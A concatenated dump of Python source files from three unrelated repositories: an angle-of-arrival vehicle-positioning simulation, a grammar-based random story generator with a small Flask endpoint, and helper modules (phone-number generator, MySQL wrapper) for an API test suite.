plt.plot(time, pose_y1_crlb, '--') th_soner_y2, = plt.plot(time, pose_y2_crlb, '--') sim_soner_x1, = plt.plot(time, deviation_from_actual_value(x1_soner, -tx1_x)) sim_soner_x2, = plt.plot(time, deviation_from_actual_value(x2_soner, -tx2_x)) sim_soner_y1, = plt.plot(time, deviation_from_actual_value(y1_soner, tx1_y)) sim_soner_y2, = plt.plot(time, deviation_from_actual_value(y2_soner, tx2_y)) plt.ylabel('Error (m)') plt.xlabel('Time (s)') plt.title('CRLB vs. Simulation Results for AoA') plt.legend([th_soner_x1, th_soner_x2, th_soner_y1, th_soner_y2, sim_soner_x1 , sim_soner_x2, sim_soner_y1, sim_soner_y2], ['x1 (theoretical)', 'x2 (theoretical)', 'y1 (theoretical)', 'y2 (theoretical)', 'x1 (simulation)', 'x2 (simulation)', 'y1 (simulation)', 'y2 (simulation)'], ncol=4,loc=3) plt.ylim(1e-5,2) plt.yscale('log') plt.savefig('crlb_soner.png') plt.show() if __name__ == "__main__": main()
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,991
fsahbaz/elec491
refs/heads/main
/VLP_methods/aoa.py
from Bound_Estimation.matfile_read import load_mat, rec_func import math import numpy as np """ *: coordinate center of cari |--------| | car1 | |-------*| | y | |---------| | | car2 | |-------------------|*--------| d """ # loading the coefficients of piecewise continous transfer function # breaks: the limits where corresponding coeeficients valid. # coefs: corresponding coeefficients within that boundary. data = load_mat('VLP_methods/aoa_transfer_function.mat') rec_func(data, 0) breaks = np.array(data['transfer_function']['breaks']) coefficients = np.array(data['transfer_function']['coefs']) class AoA: def __init__(self, a_m=2, f_m1=1000000, f_m2=2000000, measure_dt=5e-6, vehicle_dt=1e-2, w0=500, hbuf=1000, car_dist=1.6, fov=80): # this where parameters are initialized according to input or set values. self.dt = measure_dt self.t = np.arange(0, vehicle_dt - self.dt, self.dt) self.w1 = 2 * math.pi * f_m1 self.w2 = 2 * math.pi * f_m2 self.a_m = a_m self.w0 = w0 self.hbuf = hbuf self.car_dist = car_dist self.e_angle = fov # %% def estimate(self, delays, H_q, noise_variance): # In this function according to voltage readings in each quadrant and noise theta and pose estimation is calculated. # signal generated according to frequencies. s1_w1 = self.a_m * np.cos(self.w1 * self.t) s2_w2 = self.a_m * np.cos(self.w2 * self.t) # after going through ADC at receiver r1_w1_a = H_q[0][0][0] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt( noise_variance[0][0][0]), len(self.t)) r1_w1_b = H_q[0][0][1] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt( noise_variance[0][0][1]), len(self.t)) r1_w1_c = H_q[0][0][2] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt( noise_variance[0][0][2]), len(self.t)) r1_w1_d = H_q[0][0][3] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt( noise_variance[0][0][3]), len(self.t)) r2_w1_a = H_q[0][1][0] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt( noise_variance[0][1][0]), len(self.t)) r2_w1_b = H_q[0][1][1] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt( noise_variance[0][1][1]), len(self.t)) r2_w1_c = H_q[0][1][2] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt( noise_variance[0][1][2]), len(self.t)) r2_w1_d = H_q[0][1][3] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt( noise_variance[0][1][3]), len(self.t)) r1_w2_a = H_q[1][0][0] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt( noise_variance[1][0][0]), len(self.t)) r1_w2_b = H_q[1][0][1] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt( noise_variance[1][0][1]), len(self.t)) r1_w2_c = H_q[1][0][2] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt( noise_variance[1][0][2]), len(self.t)) r1_w2_d = H_q[1][0][3] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt( noise_variance[1][0][3]), len(self.t)) r2_w2_a = H_q[1][1][0] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt( noise_variance[1][1][0]), len(self.t)) r2_w2_b = H_q[1][1][1] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt( noise_variance[1][1][1]), len(self.t)) r2_w2_c = H_q[1][1][2] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt( noise_variance[1][1][2]), len(self.t)) r2_w2_d = H_q[1][1][3] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt( noise_variance[1][1][3]), len(self.t)) # eps readings will be calculated, so we initalized them to be empty np array. eps_a_s1, eps_b_s1, eps_c_s1, eps_d_s1, phi_h_s1 = np.array([0., 0.]), np.array( [0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.]) eps_a_s2, eps_b_s2, eps_c_s2, eps_d_s2, phi_h_s2 = np.array([0., 0.]), np.array( [0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.]) theta_l_r = np.array([[0., 0.], [0., 0.]]).astype(float) # the calculation of epsilon values for each quadrant. s1, s2 means right and left light. eps_a_s1[0] = np.sum( np.dot(r1_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_b_s1[0] = np.sum( np.dot(r1_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_c_s1[0] = np.sum( np.dot(r1_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_d_s1[0] = np.sum( np.dot(r1_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_a_s1[1] = np.sum( np.dot(r2_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_b_s1[1] = np.sum( np.dot(r2_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_c_s1[1] = np.sum( np.dot(r2_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_d_s1[1] = np.sum( np.dot(r2_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_a_s2[0] = np.sum( np.dot(r1_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_b_s2[0] = np.sum( np.dot(r1_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_c_s2[0] = np.sum( np.dot(r1_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_d_s2[0] = np.sum( np.dot(r1_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_a_s2[1] = np.sum( np.dot(r2_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_b_s2[1] = np.sum( np.dot(r2_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_c_s2[1] = np.sum( np.dot(r2_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf eps_d_s2[1] = np.sum( np.dot(r2_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf # phi values will be used to estimate thetas. phi_h_s1[0] = ((eps_b_s1[0] + eps_d_s1[0]) - (eps_a_s1[0] + eps_c_s1[0])) / ( eps_a_s1[0] + eps_b_s1[0] + eps_c_s1[0] + eps_d_s1[0]) phi_h_s1[1] = ((eps_b_s1[1] + eps_d_s1[1]) - (eps_a_s1[1] + eps_c_s1[1])) / ( eps_a_s1[1] + eps_b_s1[1] + eps_c_s1[1] + eps_d_s1[1]) phi_h_s2[0] = ((eps_b_s2[0] + eps_d_s2[0]) - (eps_a_s2[0] + eps_c_s2[0])) / ( eps_a_s2[0] + eps_b_s2[0] + eps_c_s2[0] + eps_d_s2[0]) phi_h_s2[1] = ((eps_b_s2[1] + eps_d_s2[1]) - (eps_a_s2[1] + eps_c_s2[1])) / ( eps_a_s2[1] + eps_b_s2[1] + eps_c_s2[1] + eps_d_s2[1]) # transfer function takes calculated phi and returns theta. theta_l_r[0] means s1, theta_l_r[:][0] means left. theta_l_r[0][0] = self.transfer_function(phi_h_s1[0]) * np.pi / 180 theta_l_r[0][1] = self.transfer_function(phi_h_s1[1]) * np.pi / 180 theta_l_r[1][0] = self.transfer_function(phi_h_s2[0]) * np.pi / 180 theta_l_r[1][1] = self.transfer_function(phi_h_s2[1]) * np.pi / 180 # pose estimations is made here with the usage of theta_l_r diff_1 = theta_l_r[0][0] - theta_l_r[0][1] t_x_1 = self.car_dist * ( 1 + (math.sin(theta_l_r[0][1]) * math.cos(theta_l_r[0][0])) / (math.sin(diff_1))) if math.sin( diff_1) != 0 else None t_y_1 = self.car_dist * ( (math.cos(theta_l_r[0][1]) * math.cos(theta_l_r[0][0])) / (math.sin(diff_1))) if math.sin( diff_1) != 0 else None diff_2 = theta_l_r[1][0] - theta_l_r[1][1] t_x_2 = self.car_dist * ( 1 + (math.sin(theta_l_r[1][1]) * math.cos(theta_l_r[1][0])) / (math.sin(diff_2))) if math.sin( diff_2) != 0 else None t_y_2 = self.car_dist * ( (math.cos(theta_l_r[1][1]) * math.cos(theta_l_r[1][0])) / (math.sin(diff_2))) if math.sin( diff_2) != 0 else None # this change of coordinates made for plotting in the same frame with other VLP_methods. tx_pos = self.change_cords(np.array([[t_x_1, t_y_1], [t_x_2, t_y_2]])) return tx_pos def find_nearest(self, array, value): # takes the array and returns the index of nearest one from specified value. array = np.asarray(array) idx = (np.abs(array - value)).argmin() return idx, array[idx] def transfer(self, coefficient, x, x1): # this is equation for piecewise transfer functipn. return (coefficient[0] * (x - x1) ** 3) + (coefficient[1] * (x - x1) ** 2) + (coefficient[2] * (x - x1) ** 1) + \ coefficient[3] def transfer_function(self, phi): # since transfer function valid in boundary, we need to check that it is valid or not. IF it is higher than # limit it returns the max. boundary phi = 1.0000653324773283 if phi >= 1.0000653324773283 else phi phi = -1.0000980562352184 if phi <= -1.0000980562352184 else phi idx, lower_endpoint = self.find_nearest(breaks, phi) coefficient = coefficients[idx] return self.transfer(coefficient, phi, lower_endpoint) def change_cords(self, txpos): # changing coordinates as x->-y, y->x t_tx_pos = np.copy(txpos) t_tx_pos[0][0] = -txpos[0][1] t_tx_pos[1][0] = txpos[0][0] t_tx_pos[0][1] = -txpos[1][1] t_tx_pos[1][1] = txpos[1][0] return t_tx_pos
{"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]}
53,996
YuhanLiin/HtN-2017
refs/heads/master
/test.py
from symbols import Novel print(Novel.generate())
{"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]}
53,997
YuhanLiin/HtN-2017
refs/heads/master
/helpers.py
from grammar import join def pluralize(word): if word.endswith('ay'): return word + 's' elif word.endswith('s') or word.endswith('ch'): return word + 'es' elif word.endswith('y'): return word[:-1] + 'ies' return word + 's' def pluralize_all(words): return [pluralize(word) for word in words] def verbs_to_3rd(words): out = [] for word in words: if word == 'have': word = 'has' else: word = pluralize(word) out.append(word) return out pronoun_subj_to_obj = { 'I': ['me', 'us'], 'you': ['you', 'y\'all'], 'we': ['me', 'us'], 'y\'all': ['you', 'y\'all'], 'he': ['him'], 'she': ['her'], 'they': ['them'], 'it': ['it'] } pronoun_to_self = { 'I': 'myself', 'you': 'yourself', 'he': 'himself', 'she': 'herself', 'they': 'themselves', 'it': 'itself', 'we': 'ourselves', 'y\'all': 'yourselves' } # Return self version of pronoun object if there is a subj/obj conflict (he-him, I-me) def resolve_pronouns(subj, obj): if obj in pronoun_subj_to_obj.get(subj, []): return pronoun_to_self[subj] return obj # Prevents phrases like "I hit me" and "He hit him" by returning function that replace object with the "self" version # s and o are indices of subject and verb in word list def replace_pronouns(s, o): def replacer (words): words[o] = resolve_pronouns(words[s], words[o]) return replacer def replace_you(o): def replacer(words): words[o] = resolve_pronouns('you', words[o]) words[o] = resolve_pronouns('y\'all', words[o]) return replacer def deleteIf(a, match, b): def deleter(words): if (words[a] in match): words[b] = '' return deleter def prevent_collection_repeat(text): words = text.split(' , ') if len(words) > 1: seen = set() out = [] for word in words: if word not in seen: out.append(word) seen.add(word) if (word == 'we' or word == 'I' or word == 'me'): seen.update(['I', 'we', 'me']) elif (word == 'you' or 'y\'all'): seen.update(['you', 'y\'all']) if len(out) <= 2: return ' and '.join(out) return ' , '.join(out[:-1]) + ' , and ' + out[-1] return text import re speech = re.compile(r'" (.*) "') def format_quotes(text): match = speech.search(text) if match: return re.sub(speech, '"%s"' % (match.groups(0)), text) return text
{"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]}
53,998
YuhanLiin/HtN-2017
refs/heads/master
/grammar.py
from random import randint, random from bisect import bisect_left no_op = lambda x:x def join(lis): string = '' for s in lis: if s != '': string += ' ' + s return string[1:] class Many(): def __init__(self, rule, lo, hi): self.rule = rule self.low = lo self.high = hi self.distribution = None def decide_prod(self): if not self.distribution: return randint(self.low, self.high) return bisect_left(self.distribution, random()) + self.low def generate(self): # Pass in rule in case a self reference is made output = [] if (type(self.rule) == str): for i in range(self.decide_prod()): output.append(self.rule) else: for i in range(self.decide_prod()): output.append(self.rule.generate()) return join(output) # Need to be same len as self.high - self.low def set_distr(self, *distribution): self.distribution = [] prev = 0 for chance in distribution: prev = prev + chance self.distribution.append(prev) return self def maybe(rule, no=None, yes=None): many = Many(rule, 0, 1) if no: many = many.set_distr(no, yes) return many # Can contain strings, Manys, and Rules class Production(): def __init__(self, *symbols): self.symbols = symbols self.pre_procs = [] def generate(self): output = [] for symbol in self.symbols: output.append(gen_token(symbol)) for proc in self.pre_procs: proc(output) return join(output) # Mutates output list on the spot with all symbols rendered def add_pre(self, func): self.pre_procs.append(func) return self # A rule consists of productions, strings, and Manys. class Rule(): @staticmethod def declare_all(n): return [Rule() for _ in range(n)] def __init__(self): self.productions = [] self.post_procs = [] self.distribution = None # Defines all productions def define(self, *productions): self.productions = productions return self def clone(self): copy = Rule() copy.productions = self.productions copy.post_procs = list(self.post_procs) copy.distribution = self.distribution return copy def transform(self, process): self.productions = process(self.productions) return self def add_post(self, func): self.post_procs.append(func) return self # Takes list of floats that add up to 1 representing chance of each production being generated def set_distr(self, *distribution): self.distribution = [] prev = 0 for chance in distribution: prev = prev + chance self.distribution.append(prev) return self def decide_prod(self): if self.distribution: return bisect_left(self.distribution, random()) return randint(0, len(self.productions) - 1) def generate(self): production = self.productions[self.decide_prod()] if type(production) == Production: output = production.generate() else: output = gen_token(production) for proc in self.post_procs: output = proc(output) return output def __repr__(self): return self.productions.__repr__() def gen_token(sym): if type(sym) == str: return sym if type(sym) == Many: return sym.generate() return sym.generate()
{"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]}
53,999
YuhanLiin/HtN-2017
refs/heads/master
/symbols.py
from grammar import Rule, Many, Production, maybe from helpers import pluralize_all, resolve_pronouns, replace_pronouns, replace_you, verbs_to_3rd, deleteIf, \ prevent_collection_repeat, format_quotes from random import random # Declarations Verb, SpeakVerb, Adverb, Noun, Adjective, Name, NamePhrase, Subject3rd, Subject, IfPhrase, WhilePhrase, WhenPhrase, \ Conditional, Question, BasicStatement, Command, Sentence, Novel, Article, ArticlePlural, ObjectSingle, ObjectPlural, \ Statement, Object, Dialogue, Speech, SentenceOrSpeech, SubjectPlural, ObjectMulti, NounPhrase, NounPhraseSingle, \ NounPhrasePlural, PrepPhrase, Preposition = Rule.declare_all(34) #import pdb; pdb.set_trace() # Definitions Verb.define('move', 'kick', 'hit', 'caress', 'shoot', 'program', 'punch', 'take', 'touch', 'have', 'stroke', 'nibble') SpeakVerb.define('say', 'cry', 'shout', 'scream', 'laugh', 'whisper', 'mention', 'think', 'scribble') Adverb.define('quickly', 'slowly', 'furiously', 'lovingly', 'unknowingly', 'happily', 'angrily') Noun.define('bird', 'dog', 'dinosaur', 'force', 'Masterball', 'alien', 'dude', 'arrow', 'experience', 'demon', 'candy') Adjective.define('large', 'tiny', 'crazy', 'psychopathic', 'blue', 'ancient', 'sad', 'angry', 'cheerful', 'lit', 'gold') Name.define('Dio', 'Mr. Goose', 'Hackerman', 'Jojo', 'Luke') Article.define('the', 'this', 'that', 'this one', 'that one', 'a', 'some') ArticlePlural.define('the', 'these', 'those', 'many', 'some') Preposition.define('of', 'from', 'in', 'by', 'with', 'without', 'within', 'inside', 'outside') NamePhrase.define(Production(',', Name)) NounPhraseSingle.define(Production(Article, Many(Adjective, 0, 1), Noun)) NounPhrasePlural.define(Production(ArticlePlural, Many(Adjective, 0, 1), Noun.clone().transform(pluralize_all))) NounPhrase.define(NounPhrasePlural, NounPhraseSingle) PrepPhrase.define(Production(Preposition, NounPhrase)) Subject3rd.define( Production(NounPhraseSingle, maybe(PrepPhrase)), 'he', 'she', 'it', Name ).set_distr(0.3, 0.1, 0.1, 0.2, 0.31) SubjectPlural.define( 'you', 'they', 'we', 'y\'all', Production(NounPhrasePlural, maybe(PrepPhrase)) ).set_distr(0.15, 0.15, 0.15, 0.15, 0.41) Subject.define(Production( SubjectPlural, Many(Production(',', Rule().define(SubjectPlural, Subject3rd)), 0, 2).set_distr(0.7, 0.2, 0.1) )).add_post(prevent_collection_repeat) ObjectSingle.define( Production(NounPhraseSingle, maybe(PrepPhrase)), 'you', 'her', 'it', 'me', 'him', Name, ).set_distr(0.3, 0.1, 0.1, 0.1, 0.1, 0.31) ObjectPlural.define( 'you', 'them', 'y\'all', 'us', Production(NounPhrasePlural, maybe(PrepPhrase)), ).set_distr(0.15, 0.15, 0.15, 0.15, 0.41) ObjectMulti.define(Production( ObjectPlural, Many(Production(',', Rule().define(ObjectPlural, ObjectSingle)), 0, 2).set_distr(0.7, 0.2, 0.1) )).add_post(prevent_collection_repeat) Object.define(ObjectMulti, ObjectSingle) IfPhrase.define( Production('if', BasicStatement), Production('unless', BasicStatement), ) WhenPhrase.define(Production('when', BasicStatement), Production('until', BasicStatement)) WhilePhrase.define(Production('while', BasicStatement), Production('as', BasicStatement)) Conditional.define( Production(IfPhrase, maybe(WhilePhrase, 0.7, 0.3), maybe(WhenPhrase, 0.7, 0.3)), Production(IfPhrase, maybe(WhenPhrase, 0.7, 0.3), maybe(WhilePhrase, 0.7, 0.3)), Production(WhenPhrase, maybe(WhilePhrase, 0.7, 0.3), maybe(IfPhrase, 0.7, 0.3)), Production(WhenPhrase, maybe(IfPhrase, 0.7, 0.3), maybe(WhilePhrase, 0.7, 0.3)), Production(WhilePhrase, maybe(WhenPhrase, 0.7, 0.3), maybe(IfPhrase, 0.7, 0.3)), Production(WhilePhrase, maybe(IfPhrase, 0.7, 0.3), maybe(WhenPhrase, 0.7, 0.3)), ) Question.define( Production( maybe(Production(Conditional, ','), 0.7, 0.3), 'does', Subject3rd, Verb, Object, Many(Adverb, 0, 1), maybe(Conditional, 0.7, 0.3), ).add_pre(replace_pronouns(2, 4)).add_pre(deleteIf(3, {'has', 'have'}, 5)), Production( maybe(Production(Conditional, ','), 0.7, 0.3), 'do', Subject, Verb, Object, Many(Adverb, 0, 1), maybe(Conditional, 0.7, 0.3), ).add_pre(replace_pronouns(2, 4)).add_pre(deleteIf(3, {'has', 'have'}, 5)), Production( maybe(Production(Conditional, ','), 0.7, 0.3), 'am', 'I', ObjectSingle, maybe(Conditional, 0.7, 0.3), ).add_pre(replace_pronouns(2, 3)), Production( maybe(Production(Conditional, ','), 0.7, 0.3), 'is', Subject3rd, ObjectSingle, maybe(Conditional, 0.7, 0.3), ).add_pre(replace_pronouns(2, 3)), Production( maybe(Production(Conditional, ','), 0.7, 0.3), 'are', Subject, ObjectMulti, maybe(Conditional, 0.7, 0.3), ).add_pre(replace_pronouns(2, 3)), "Why", "What is this", 'How the hell' ).set_distr(0.2, 0.2, 0.1001, 0.1, 0.1, 0.1, 0.1) BasicStatement.define( Production( Subject, Many(Adverb, 0, 1), Verb, Object, ).add_pre(replace_pronouns(0, 3)).add_pre(deleteIf(2, {'has', 'have'}, 1)), Production( Subject3rd, Many(Adverb, 0, 1), Verb.clone().transform(verbs_to_3rd), Object, ).add_pre(replace_pronouns(0, 3)).add_pre(deleteIf(2, {'has', 'have'}, 1)), Production('I', 'am', ObjectSingle), Production(Subject, 'are', ObjectMulti).add_pre(replace_pronouns(0, 2)), Production(Subject3rd, 'is', ObjectSingle).add_pre(replace_pronouns(0, 2)), ).set_distr(0.38, 0.38, 0.05, 0.1, 0.1 ).add_post( lambda s: s.replace('it is', 'it\'s').replace('they are', 'they\'re').replace('we are', 'we\'re') if random() > 0.5 else s ) Statement.define(Production(maybe(Production(Conditional, ','), 0.7, 0.3), BasicStatement, maybe(Conditional, 0.7, 0.3))) Command.define( Production( maybe(Production(Conditional, ','), 0.7, 0.3), Verb, Object, Many(Adverb, 0, 1), maybe(Conditional, 0.7, 0.3), Many(NamePhrase, 0, 1), ).add_pre(replace_you(2)).add_pre(deleteIf(1, {'has', 'have'}, 3)) ) Dialogue.define( Production(Sentence), Production(Many("muda", 3, 10), 'MUDA!'), Production(Many("ora", 3, 10), 'ORA!'), Production(Many("ha", 5, 12), '!'), ).add_post(lambda s: s[0].upper() + s[1:]).set_distr(0.4, 0.2, 0.2, 0.2) DialogueBefore = Dialogue.clone().add_post(lambda s: s.replace('.', ',')) Speech.define( Production(Subject, maybe(Adverb), SpeakVerb, '"', Dialogue, '"',), Production(Subject3rd, maybe(Adverb), SpeakVerb.clone().transform(verbs_to_3rd), '"', Dialogue, '"',), Production('"', DialogueBefore, '"', Subject, SpeakVerb, '.'), Production('"', DialogueBefore, '"', Subject3rd, SpeakVerb.clone().transform(verbs_to_3rd), '.'), ).add_post(lambda s: s[0].upper() + s[1:]).add_post(format_quotes) Sentence.define( Production(Statement, Rule().define('.', '!').set_distr(0.71, 0.3)), Production(Question, '?'), Production(Command, Rule().define('!', '.').set_distr(0.71, 0.3)), ).set_distr(0.5, 0.25, 0.25) SentenceOrSpeech.define(Sentence, Speech).set_distr(0.61, 0.4).add_post(lambda s: s[0].upper() + s[1:]) Novel.define(Many(SentenceOrSpeech, 1, 10)).add_post( lambda s: s.replace(' ,', ',').replace(' .', '.').replace(' !', '!').replace(' ?', '?') )
{"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]}
54,000
YuhanLiin/HtN-2017
refs/heads/master
/main.py
from symbols import Novel import os from flask import Flask app = Flask(__name__) dir = os.path.dirname(os.path.realpath(__file__)) @app.route("/") def index(): with open(os.path.join(dir, 'templates', 'index.html')) as html: return html.read() @app.route("/api") def api(): return Novel.generate() if __name__ == '__main__': app.debug = True port = int(os.environ.get("PORT", 5000)) app.run(host='0.0.0.0', port=port)
{"/test.py": ["/symbols.py"], "/helpers.py": ["/grammar.py"], "/symbols.py": ["/grammar.py", "/helpers.py"], "/main.py": ["/symbols.py"]}
54,001
tylhhh/API_qianchengdai
refs/heads/master
/Common/handle_phone.py
import random from Common.handle_db import HandleDB from Common.handle_requests import send_requests from Common.handle_config import conf prefix = [133, 149, 153, 173, 177, 180, 181, 189, 199, 130, 131, 132, 145, 155, 156, 166, 171, 175, 176, 185, 186, 166, 134, 135, 136, 137, 138, 139, 147, 150, 151, 152, 157, 158, 159, 172, 178, 182, 183, 184, 187, 188, 198 ] def user_phone(): index = random.randint(0, len(prefix)-1) phone = str(prefix[index]) for _ in range(0,8): phone += str(random.randint(0,9)) # 转换成字符串才能直接拼接 return phone def get_new_phone(): db = HandleDB() while True: phone = user_phone() sql = 'select * from member where mobile_phone="{}"'.format(phone) count = db.get_count(sql) if count == 0: db.close() return phone def get_old_phone(): user = conf.get("general_user","user") passwd = conf.get("general_user","passwd") send_requests("POST","member/register",{"mobile_phone":user,"pwd":passwd}) return user,passwd
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,002
tylhhh/API_qianchengdai
refs/heads/master
/Common/handle_path.py
import os base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # 测试用例路径 cases_dir = os.path.join(base_dir, "TestCases") # 测试数据的路径 datas_dir = os.path.join(base_dir,"TestDatas") # 测试报告 reports_dir = os.path.join(base_dir,"Outputs\\reports") # 日志的路径 logs_dir = os.path.join(base_dir,"Outputs\\logs") # 配置文件路径 conf_dir = os.path.join(base_dir,"Conf")
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,003
tylhhh/API_qianchengdai
refs/heads/master
/Common/handle_db.py
import pymysql from Common.handle_config import conf class HandleDB: def __init__(self): # 1、连接数据库 self.conn = pymysql.connect( host=conf.get("mysql","host"), port=conf.getint("mysql","port"), user=conf.get("mysql","user"), password=conf.get("mysql","password"), database=conf.get("mysql","database"), charset="utf8", cursorclass=pymysql.cursors.DictCursor ) # 2、创建游标 self.cur = self.conn.cursor() def select_one_data(self,sql): self.conn.commit() self.cur.execute(sql) return self.cur.fetchone() def select_all_data(self,sql): self.conn.commit() self.cur.execute(sql) return self.cur.fetchall() def get_count(self,sql): self.conn.commit() return self.cur.execute(sql) def update(self,sql): """ 对数据库进行增、删、改的操作。 :param sql: :return: """ self.cur.execute(sql) self.conn.commit() def close(self): self.cur.close() self.conn.close()
